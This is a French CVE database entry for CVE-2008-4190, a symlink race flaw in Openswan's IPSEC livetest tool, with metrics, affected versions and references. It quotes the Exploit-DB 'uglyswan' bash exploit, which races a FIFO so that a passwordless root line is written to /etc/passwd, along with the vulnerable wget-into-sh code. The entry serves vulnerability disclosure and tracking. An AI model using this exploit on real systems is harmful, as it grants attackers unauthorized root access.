CVE-2008-4190 : Détail

CVE-2008-4190

A01-Broken Access Control
0.04%V3
Local
2008-09-24
08h00 +00:00
2018-10-11
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16, allows local users to overwrite arbitrary files and execute arbitrary code via a symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files. NOTE: in many distributions and the upstream version, this tool has been disabled.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-59 Improper Link Resolution Before File Access ('Link Following')
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.4 AV:L/AC:M/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9135

Date de publication : 2009-07-12 22h00 +00:00
Auteur : nofame
EDB Vérifié : Yes

#!/bin/bash # uglyswan - OpenSwan local root exploit (CVE-2008-4190) # # description: # The IPSEC livetest tool in Openswan 2.4.12 and earlier, and 2.6.x through 2.6.16, # allows local users to overwrite arbitrary files and execute arbitrary code via a # symlink attack on the (1) ipseclive.conn and (2) ipsec.olts.remote.log temporary files. # NOTE: in many distributions and the upstream version, this tool has been disabled. # # vulnerable code: # wget -o /dev/null -O /tmp/ipseclive.conn "http://192.168.0.1/olts/?leftid=$leftid&$leftrsasigkey&version=$version" # sh < /tmp/ipseclive.conn # # the exploit: # cat waits for the input from wget to the fifo and after it received it, you # immediately echo your command into the fifo which was empty again and viola, it # gets executed, because the sh binary needs a few milliseconds to get loaded, # it's a typical race condition. # # problem: # you need to trick root to execute "ipsec livetest", and this script needs to run in background... # # I don't want no fame for this as it is ripped from Gentoo bug 238574, thanks # mkfifo /tmp/ipseclive.conn cat /tmp/ipseclive.conn echo 'echo t00r::0:0::/tmp:/bin/sh>>/etc/passwd' > /tmp/ipseclive.conn rm /tmp/ipseclive.conn su -l t00r # milw0rm.com [2009-07-13]

Products Mentioned

Configuraton 0

Openswan>>Openswan >> Version 1.0.4

    Openswan>>Openswan >> Version 1.0.5

      Openswan>>Openswan >> Version 1.0.6

        Openswan>>Openswan >> Version 1.0.7

          Openswan>>Openswan >> Version 1.0.8

            Openswan>>Openswan >> Version 1.0.9

              Openswan>>Openswan >> Version 2.1.1

                Openswan>>Openswan >> Version 2.1.2

                  Openswan>>Openswan >> Version 2.1.4

                    Openswan>>Openswan >> Version 2.1.5

                      Openswan>>Openswan >> Version 2.1.6

                        Openswan>>Openswan >> Version 2.2

                          Openswan>>Openswan >> Version 2.3

                            Xelerance>>Openswan >> Version 2.3.1

                            Xelerance>>Openswan >> Version 2.4.0

                            Xelerance>>Openswan >> Version 2.4.1

                            Xelerance>>Openswan >> Version 2.4.2

                            Xelerance>>Openswan >> Version 2.4.3

                            Xelerance>>Openswan >> Version 2.4.4

                            Xelerance>>Openswan >> Version 2.4.5

                            Xelerance>>Openswan >> Version 2.4.6

                            Xelerance>>Openswan >> Version 2.4.7

                            Xelerance>>Openswan >> Version 2.4.8

                            Xelerance>>Openswan >> Version 2.4.9

                            Xelerance>>Openswan >> Version 2.4.10

                            Xelerance>>Openswan >> Version 2.4.11

                            Xelerance>>Openswan >> Version 2.4.12

                            Xelerance>>Openswan >> Version 2.6.03

                            Xelerance>>Openswan >> Version 2.6.04

                            Xelerance>>Openswan >> Version 2.6.05

                            Xelerance>>Openswan >> Version 2.6.06

                            Xelerance>>Openswan >> Version 2.6.07

                            Xelerance>>Openswan >> Version 2.6.08

                            Xelerance>>Openswan >> Version 2.6.09

                            Xelerance>>Openswan >> Version 2.6.10

                            Xelerance>>Openswan >> Version 2.6.11

                            Xelerance>>Openswan >> Version 2.6.12

                            Xelerance>>Openswan >> Version 2.6.13

                            Xelerance>>Openswan >> Version 2.6.14

                            Xelerance>>Openswan >> Version 2.6.15

                            Xelerance>>Openswan >> Version 2.6.16

                            Références

                            http://secunia.com/advisories/34472
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.openwall.com/lists/oss-security/2008/10/30/2
                            Tags : mailing-list, x_refsource_MLIST
                            http://secunia.com/advisories/34182
                            Tags : third-party-advisory, x_refsource_SECUNIA
                            http://www.securityfocus.com/bid/31243
                            Tags : vdb-entry, x_refsource_BID
                            https://www.exploit-db.com/exploits/9135
                            Tags : exploit, x_refsource_EXPLOIT-DB
                            http://www.redhat.com/support/errata/RHSA-2009-0402.html
                            Tags : vendor-advisory, x_refsource_REDHAT
                            http://www.debian.org/security/2009/dsa-1760
                            Tags : vendor-advisory, x_refsource_DEBIAN